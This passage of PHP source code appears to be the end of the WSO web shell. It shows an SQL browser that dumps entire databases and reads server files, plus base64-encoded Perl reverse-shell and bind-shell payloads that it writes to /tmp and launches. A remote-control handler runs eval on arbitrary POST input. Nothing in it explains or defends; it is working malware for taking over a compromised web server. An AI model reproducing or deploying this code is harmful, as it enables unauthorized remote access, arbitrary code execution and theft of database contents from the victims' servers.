1170 function connect($host, $user, $pass, $dbname) {
1171 switch ($this->type) {
1172 case 'mysql':
1173 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1174 break;
1175 case 'pgsql':
1176 $host = explode(':', $host);
1177 if (!$host[1]) $host[1] = 5432;
1178 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1179 break;
1180 }
1181 return false;
1182 }
1183 function selectdb($db) {
1184 switch ($this->type) {
1185 case 'mysql':
1186 if (@mysql_select_db($db)) return true;
1187 break;
1188 }
1189 return false;
1190 }
1191 function query($str) {
1192 switch ($this->type) {
1193 case 'mysql':
1194 return $this->res = @mysql_query($str);
1195 break;
1196 case 'pgsql':
1197 return $this->res = @pg_query($this->link, $str);
1198 break;
1199 }
1200 return false;
1201 }
1202 function fetch() {
1203 $res = func_num_args() ? func_get_arg(0) : $this->res;
1204 switch ($this->type) {
1205 case 'mysql':
1206 return @mysql_fetch_assoc($res);
1207 break;
1208 case 'pgsql':
1209 return @pg_fetch_assoc($res);
1210 break;
1211 }
1212 return false;
1213 }
1214 function listDbs() {
1215 switch ($this->type) {
1216 case 'mysql':
1217 return $this->query("SHOW databases");
1218 break;
1219 case 'pgsql':
1220 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1221 break;
1222 }
1223 return false;
1224 }
1225 function listTables() {
1226 switch ($this->type) {
1227 case 'mysql':
1228 return $this->res = $this->query('SHOW TABLES');
1229 break;
1230 case 'pgsql':
1231 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1232 break;
1233 }
1234 return false;
1235 }
1236 function error() {
1237 switch ($this->type) {
1238 case 'mysql':
1239 return @mysql_error();
1240 break;
1241 case 'pgsql':
1242 return @pg_last_error();
1243 break;
1244 }
1245 return false;
1246 }
1247 function setCharset($str) {
1248 switch ($this->type) {
1249 case 'mysql':
1250 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1251 else $this->query('SET CHARSET ' . $str);
1252 break;
1253 case 'pgsql':
1254 return @pg_set_client_encoding($this->link, $str);
1255 break;
1256 }
1257 return false;
1258 }
1259 function loadFile($str) {
1260 switch ($this->type) {
1261 case 'mysql':
1262 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1263 break;
1264 case 'pgsql':
1265 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1266 $r = array();
1267 while ($i = $this->fetch()) $r[] = $i['file'];
1268 $this->query('drop table wso2');
1269 return array('file' => implode("
1270", $r));
1271 break;
1272 }
1273 return false;
1274 }
1275 function dump($table, $fp = false) {
1276 switch ($this->type) {
1277 case 'mysql':
1278 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1279 $create = mysql_fetch_array($res);
1280 $sql = $create[1] . ";
1281";
1282 if ($fp) fwrite($fp, $sql);
1283 else echo ($sql);
1284 $this->query('SELECT * FROM `' . $table . '`');
1285 $i = 0;
1286 $head = true;
1287 while ($item = $this->fetch()) {
1288 $sql = '';
1289 if ($i % 1000 == 0) {
1290 $head = true;
1291 $sql = ";
1292
1293";
1294 }
1295 $columns = array();
1296 foreach ($item as $k => $v) {
1297 if ($v === null) $item[$k] = "NULL";
1298 elseif (is_int($v)) $item[$k] = $v;
1299 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1300 $columns[] = "`" . $k . "`";
1301 }
1302 if ($head) {
1303 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1304 (" . implode(", ", $item) . ')';
1305 $head = false;
1306 } else $sql.= "
1307 ,(" . implode(", ", $item) . ')';
1308 if ($fp) fwrite($fp, $sql);
1309 else echo ($sql);
1310 $i++;
1311 }
1312 if (!$head) if ($fp) fwrite($fp, ";
1313
1314");
1315 else echo (";
1316
1317");
1318 break;
1319 case 'pgsql':
1320 $this->query('SELECT * FROM ' . $table);
1321 while ($item = $this->fetch()) {
1322 $columns = array();
1323 foreach ($item as $k => $v) {
1324 $item[$k] = "'" . addslashes($v) . "'";
1325 $columns[] = $k;
1326 }
1327 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1328";
1329 if ($fp) fwrite($fp, $sql);
1330 else echo ($sql);
1331 }
1332 break;
1333 }
1334 return false;
1335 }
1336 };
1337 $db = new DbClass($_POST['type']);
1338 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
1339 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1340 $db->selectdb($_POST['sql_base']);
1341 switch ($_POST['charset']) {
1342 case "Windows-1251":
1343 $db->setCharset('cp1251');
1344 break;
1345 case "UTF-8":
1346 $db->setCharset('utf8');
1347 break;
1348 case "KOI8-R":
1349 $db->setCharset('koi8r');
1350 break;
1351 case "KOI8-U":
1352 $db->setCharset('koi8u');
1353 break;
1354 case "cp866":
1355 $db->setCharset('cp866');
1356 break;
1357 }
1358 if (empty($_POST['file'])) {
1359 ob_start("ob_gzhandler", 4096);
1360 header("Content-Disposition: attachment; filename=dump.sql");
1361 header("Content-Type: text/plain");
1362 foreach ($_POST['tbl'] as $v) $db->dump($v);
1363 exit;
1364 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1365 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1366 fclose($fp);
1367 unset($_POST['p2']);
1368 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1369 }
1370 wsoHeader();
1371 echo "
1372<h1>Sql browser</h1><div class=content>
1373<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1374<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1375<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1376<td><select name='type'><option value='mysql' ";
1377 if (@$_POST['type'] == 'mysql') echo 'selected';
1378 echo ">MySql</option><option value='pgsql' ";
1379 if (@$_POST['type'] == 'pgsql') echo 'selected';
1380 echo ">PostgreSql</option></select></td>
1381<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1382<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1383<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1384 $tmp = "<input type=text name=sql_base value=''>";
1385 if (isset($_POST['sql_host'])) {
1386 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1387 switch ($_POST['charset']) {
1388 case "Windows-1251":
1389 $db->setCharset('cp1251');
1390 break;
1391 case "UTF-8":
1392 $db->setCharset('utf8');
1393 break;
1394 case "KOI8-R":
1395 $db->setCharset('koi8r');
1396 break;
1397 case "KOI8-U":
1398 $db->setCharset('koi8u');
1399 break;
1400 case "cp866":
1401 $db->setCharset('cp866');
1402 break;
1403 }
1404 $db->listDbs();
1405 echo "<select name=sql_base><option value=''></option>";
1406 while ($item = $db->fetch()) {
1407 list($key, $value) = each($item);
1408 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1409 }
1410 echo '</select>';
1411 } else echo $tmp;
1412 } else echo $tmp;
1413 echo "</td>
1414 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1415 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1416 </tr>
1417 </table>
1418 <script>
1419 s_db='" . @addslashes($_POST['sql_base']) . "';
1420 function fs(f) {
1421 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1422 if(f.p1) f.p1.value='';
1423 if(f.p2) f.p2.value='';
1424 if(f.p3) f.p3.value='';
1425 }
1426 }
1427 function st(t,l) {
1428 d.sf.p1.value = 'select';
1429 d.sf.p2.value = t;
1430 if(l && d.sf.p3) d.sf.p3.value = l;
1431 d.sf.submit();
1432 }
1433 function is() {
1434 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1435 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1436 }
1437 </script>";
1438 if (isset($db) && $db->link) {
1439 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1440 if (!empty($_POST['sql_base'])) {
1441 $db->selectdb($_POST['sql_base']);
1442 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1443 $tbls_res = $db->listTables();
1444 while ($item = $db->fetch($tbls_res)) {
1445 list($key, $value) = each($item);
1446 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1447 $value = htmlspecialchars($value);
1448 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1449 }
1450 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1451 if (@$_POST['p1'] == 'select') {
1452 $_POST['p1'] = 'query';
1453 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1454 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1455 $num = $db->fetch();
1456 $pages = ceil($num['n'] / 30);
1457 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1458 echo " of $pages";
1459 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1460 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1461 $_POST['p3']--;
1462 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1463 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1464 echo "<br><br>";
1465 }
1466 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1467 $db->query(@$_POST['p2']);
1468 if ($db->res !== false) {
1469 $title = false;
1470 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1471 $line = 1;
1472 while ($item = $db->fetch()) {
1473 if (!$title) {
1474 echo '<tr>';
1475 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1476 reset($item);
1477 $title = true;
1478 echo '</tr><tr>';
1479 $line = 2;
1480 }
1481 echo '<tr class="l' . $line . '">';
1482 $line = $line == 1 ? 2 : 1;
1483 foreach ($item as $key => $value) {
1484 if ($value == null) echo '<td><i>null</i></td>';
1485 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1486 }
1487 echo '</tr>';
1488 }
1489 echo '</table>';
1490 } else {
1491 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1492 }
1493 }
1494 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1495 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1496 echo "</textarea><br/><input type=submit value='Execute'>";
1497 echo "</td></tr>";
1498 }
1499 echo "</table></form><br/>";
1500 if ($_POST['type'] == 'mysql') {
1501 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1502 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1503 }
1504 if (@$_POST['p1'] == 'loadfile') {
1505 $file = $db->loadFile($_POST['p2']);
1506 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1507 }
1508 } else {
1509 echo htmlspecialchars($db->error());
1510 }
1511 echo '</div>';
1512 wsoFooter();
1513 }
1514 function actionNetwork() {
1515 wsoHeader();
1516 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1517 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1518 echo "<h1>Network tools</h1><div class=content>
1519 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1520 <span>Bind port to /bin/sh [perl]</span><br/>
1521 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1522 </form>
1523 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1524 <span>Back-connect [perl]</span><br/>
1525 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1526 </form><br>";
1527 if (isset($_POST['p1'])) {
1528 function cf($f, $t) {
1529 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1530 if ($w) {
1531 @fwrite($w, base64_decode($t));
1532 @fclose($w);
1533 }
1534 }
1535 if ($_POST['p1'] == 'bpp') {
1536 cf("/tmp/bp.pl", $bind_port_p);
1537 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1538 sleep(1);
1539 echo "<pre class=ml1>$out
1540" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1541 unlink("/tmp/bp.pl");
1542 }
1543 if ($_POST['p1'] == 'bcp') {
1544 cf("/tmp/bc.pl", $back_connect_p);
1545 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1546 sleep(1);
1547 echo "<pre class=ml1>$out
1548" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1549 unlink("/tmp/bc.pl");
1550 }
1551 }
1552 echo '</div>';
1553 wsoFooter();
1554 }
1555 function actionRC() {
1556 if (!@$_POST['p1']) {
1557 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1558 echo serialize($a);
1559 } else {
1560 eval($_POST['p1']);
1561 }
1562 }
1563 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1564 else $_POST['a'] = 'SecInfo';
1565 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1566 exit;
1567?>